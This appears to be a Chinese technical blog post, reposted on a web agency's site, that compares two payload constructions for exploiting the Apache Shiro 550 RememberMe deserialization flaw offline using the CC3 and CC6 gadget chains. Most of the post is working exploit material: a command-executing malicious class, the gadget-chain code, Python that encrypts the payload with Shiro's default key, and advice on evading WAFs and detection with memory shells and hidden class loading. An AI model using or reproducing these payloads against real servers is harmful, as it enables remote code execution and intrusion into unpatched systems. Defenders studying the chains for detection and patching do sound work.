尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
CC3与CC6链融合利用:Shiro 550漏洞不出网攻击的2种Payload构造对比
CC3与CC6链融合利用Shiro 550漏洞不出网攻击的2种Payload构造对比1. 漏洞背景与攻击场景分析Apache Shiro作为广泛使用的Java安全框架其550漏洞源于RememberMe功能的反序列化缺陷。攻击者可在不出网环境下通过精心构造的反序列化Payload实现远程代码执行。本文将深入剖析两种主流利用链——CC3与CC6的融合利用方案。关键限制条件目标环境仅包含Commons Collections 3.2.1无法依赖JRMP二次反序列化Tomcat环境下原生类加载机制的限制提示Shiro的AES加密密钥默认为kPHbIxk5D2deZiIxcaaaA加密模式为CBC使用随机IV2. 核心利用链技术原理2.1 CC6链核心组件// 关键调用链 HashMap.readObject() → TiedMapEntry.hashCode() → LazyMap.get() → Transformer.transform()优势特性不受JDK版本限制通过HashMap触发无需特殊依赖利用TiedMapEntry桥接LazyMap的get方法2.2 CC3链核心组件// 关键调用链 TemplatesImpl.newTransformer() → TrAXFilter构造函数 → InstantiateTransformer.transform()特殊价值直接操作字节码加载规避Transformer数组限制与CC6形成互补利用3. 两种Payload构造方案对比3.1 方案一CC6InvokerTransformer构造步骤准备TemplatesImpl恶意类public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(calc); } // 必须实现的抽象方法... }构建调用链Transformer invoker new InvokerTransformer(newTransformer, null, null); Map lazyMap LazyMap.decorate(new HashMap(), invoker); TiedMapEntry entry new TiedMapEntry(lazyMap, templatesImpl); HashMap expMap new HashMap(); expMap.put(entry, value);技术要点通过反射动态修改iMethodName字段需清除LazyMap初始键值避免提前触发最终通过HashMap#put触发调用链3.2 方案二CC6InstantiateTransformer构造步骤准备TemplatesImpl字节码ClassPool pool ClassPool.getDefault(); CtClass cc pool.makeClass(Evil); cc.makeClassInitializer().insertBefore(Runtime.getRuntime().exec(\calc\);); byte[] bytecodes cc.toBytecode();构建调用链Transformer instantiate new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl}); Map lazyMap LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 后续构造与方案一类似...技术要点利用TrAXFilter自动触发newTransformer需要更精确的类加载控制规避了直接方法调用检测3.3 方案对比矩阵对比维度CC6InvokerTransformerCC6InstantiateTransformer构造复杂度中等需反射修改字段较高需处理字节码依赖条件需要javassist生成字节码需要完整的类定义通用性跨环境稳定性较好对类加载器更敏感规避检测能力一般明显方法调用优秀通过构造函数触发内存占用较小较大需加载完整类4. 实战决策树与排错指南4.1 方案选择决策树是否允许直接方法调用? ├── 是 → 选择CC6InvokerTransformer方案 └── 否 → 选择CC6InstantiateTransformer方案 ├── 目标有javassist依赖? → 直接使用 └── 无javassist依赖 → 预生成字节码嵌入4.2 常见错误排查清单类加载失败问题检查_bytecodes字段是否正确设置确认_tfactory已初始化为TransformerFactoryImpl验证_name字段不为空序列化异常处理使用以下方法确保字段可访问void setFieldValue(Object obj, String field, Object value) throws Exception { Field f obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); }加密Payload生成def encrypt_payload(ser_bytes): key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv os.urandom(16) cipher AES.new(key, AES.MODE_CBC, iv) pad lambda s: s (16 - len(s)%16) * chr(16 - len(s)%16) return base64.b64encode(iv cipher.encrypt(pad(ser_bytes)))5. 高级技巧与防御规避混合链构造技巧组合使用InvokerTransformer和InstantiateTransformer动态切换触发点应对WAF检测使用内存马替代命令执行反检测策略分散恶意代码到多个类加载阶段采用反射动态代理隐藏调用链使用BCEL等替代字节码加载方案在实际渗透测试中建议根据目标环境特征选择最适合的方案。CC6InvokerTransformer更适合快速验证而CC6InstantiateTransformer则在对抗安全防护时更具优势。
RELATED

相关推荐

知识图谱+FAB工艺推荐系统

知识图谱+FAB工艺推荐系统

问题背景我们Fab的工艺知识,以前基本活在三个地方:老师傅的脑子、散落各处的几百份PDF SOP、还有MES里一堆没人敢动的旧配方。新人上岗要在光刻、刻蚀、薄膜几个工段轮半年才敢独立排产。最痛的一次是去年,一个资深工艺休产假,她手…

📅 2026/8/22 20:15:57
LV3296与PIC18F45K80在工业数据采集中的协同应用

LV3296与PIC18F45K80在工业数据采集中的协同应用

1. LV3296与PIC18F45K80的硬件协同架构在工业数据采集系统中,LV3296作为专业级混合信号处理器,与PIC18F45K80微控制器的组合构成了典型的"信号采集主控处理"架构。这套方案特别适合需要高速数据捕获和实时处理的场景,比如物流分拣、…

📅 2026/8/22 20:15:58
非技术岗位考什么证书更实用?别盲目跟风

非技术岗位考什么证书更实用?别盲目跟风

2025届全国普通高校毕业生规模达1222万人,同比增加43万人。就业总量压力与结构性矛盾并存。7月份全国16—24岁城镇劳动力失业率(不含在校生)为17.8%,8月份升至18.9%。简历海投没有用,关键是想清楚:你的目标…

📅 2026/9/10 4:05:51
MORE NEWS

更多资讯

📰

STM32燃气安防系统工程级设计与抗干扰实践

1. 这不是“又一个STM32项目”,而是一套可直接上电验证的安防工程原型你搜“STM32 智能安防”出来的结果,十有八九是带LED闪烁、蜂鸣器响两声、串口打印“Gas detected!”的Demo——它连传感器都没接稳,更别说在真实环境里扛住电磁干扰、电源…

📰

Pentagi:AI驱动的渗透测试代理架构解析

1. “Pentagi”不是工具名,而是渗透测试AI代理架构的代号级命名你搜“pentagi”,页面上全是Docker、Neo4j、安装教程、报错提示——没有官网、没有GitHub仓库、没有文档首页。这不是偶然,而是典型的技术概念在传播过程中被误当作产品名的缩略…

📰

Direct-LiNGAM算法:从观测数据中反推因果方向的确定性方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

AI辅助STM32开发:零基础搭建第一个工程并点亮LED

开头很多刚入行或者自学的朋友,第一次接触STM32的时候都卡在同一个地方:工程不知道该怎么建,代码不知道从哪下笔,遇到一个编译报错能查一下午。我最近刚好帮一个零基础的师弟从零搭了第一个STM32工程,从安装Keil、配置…

📰

STM32C5+LSM6DSV16X:SPI轮询读取陀螺仪数据详解

前阵子把一颗LSM6DSV16X接到了STM32C5的板子上,想快速验证陀螺仪能不能正常出数。折腾一圈下来发现,这套组合跟网上大多数教程用的老平台不太一样,寄存器表更新过,CubeMX配置也有几个容易忽略的细节。这篇文章是这个系列的第一篇&…

📰

微信API高可用实践:CompletableFuture异步优化

1. 项目背景与核心挑战微信生态在企业级应用和个人开发者中占据着重要地位,但官方API的稳定性问题一直是开发者面临的痛点。特别是在个人微信自动化场景中,接口超时、网络抖动和频率限制等问题频繁出现,直接影响业务连续性。传统同步阻塞式的…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬